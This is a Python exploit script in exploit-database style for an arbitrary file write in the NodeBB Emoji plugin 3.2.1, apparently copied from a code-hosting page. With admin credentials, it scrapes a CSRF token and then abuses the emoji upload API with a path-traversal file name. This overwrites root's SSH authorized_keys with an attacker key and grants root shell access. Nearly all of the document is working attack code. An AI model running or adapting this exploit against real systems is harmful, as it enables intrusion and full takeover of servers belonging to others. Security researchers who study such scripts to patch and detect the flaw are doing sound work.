66 lines
No EOL
2.2 KiB
Python
Executable file
66 lines
No EOL
2.2 KiB
Python
Executable file
# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
|
|
# Date: 2021-02-01
|
|
# Exploit Author: 1F98D
|
|
# Software Link: https://nodebb.org/
|
|
# Version: Emoji for NodeBB <= v3.2.1
|
|
# Tested on: Ubuntu 18.04 (x86)
|
|
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
|
|
#
|
|
# The Emoji for NodeBB which is installed by default contains an
|
|
# arbitrary file write vulnerability to insecurely handled user controlled
|
|
# input.
|
|
#
|
|
# This exploit requires administrative access to the NodeBB instance in order
|
|
# to access the emoji upload API.
|
|
#
|
|
#!/usr/bin/python3
|
|
import requests
|
|
import sys
|
|
import re
|
|
TARGET = 'http://192.168.1.1:4567'
|
|
USERNAME = 'admin'
|
|
PASSWORD = 'password'
|
|
DESTINATION_FILE = '/root/.ssh/authorized_keys'
|
|
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
|
|
headers = { 'User-Agent': 'NotPython' }
|
|
s = requests.Session()
|
|
r = s.get('{}/login'.format(TARGET), headers=headers)
|
|
if r.status_code != 200:
|
|
print('[!] Error, {}/login unavailable'.format(TARGET))
|
|
sys.exit(1)
|
|
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
|
|
if csrf is None:
|
|
print('[!] Could not extract csrf token to proceed.')
|
|
sys.exit(1)
|
|
auth = {
|
|
'username': USERNAME,
|
|
'password': PASSWORD,
|
|
'_csrf': csrf.group(1)
|
|
}
|
|
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
|
|
if r.status_code != 200:
|
|
print('[!] Error, login failed')
|
|
print('[!] Status: {}'.format(r.status_code))
|
|
print('[!] Response: {}'.format(r.text))
|
|
sys.exit(1)
|
|
print('[+] Login successful')
|
|
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
|
|
if r.status_code != 200:
|
|
print('[!] Error, could not access emoji plugin')
|
|
print('[!] Status: {}'.format(r.status_code))
|
|
print('[!] Response: {}'.format(r.text))
|
|
sys.exit(1)
|
|
print('[+] Emoji plugin is installed')
|
|
files = {
|
|
'emojiImage': open(SOURCE_FILE)
|
|
}
|
|
data = {
|
|
'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
|
|
}
|
|
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
|
|
if r.status_code != 200:
|
|
print('[!] Error, could not upload file')
|
|
print('[!] Status: {}'.format(r.status_code))
|
|
print('[!] Response: {}'.format(r.text))
|
|
sys.exit(1)
|
|
print('[+] Successfully uploaded file') |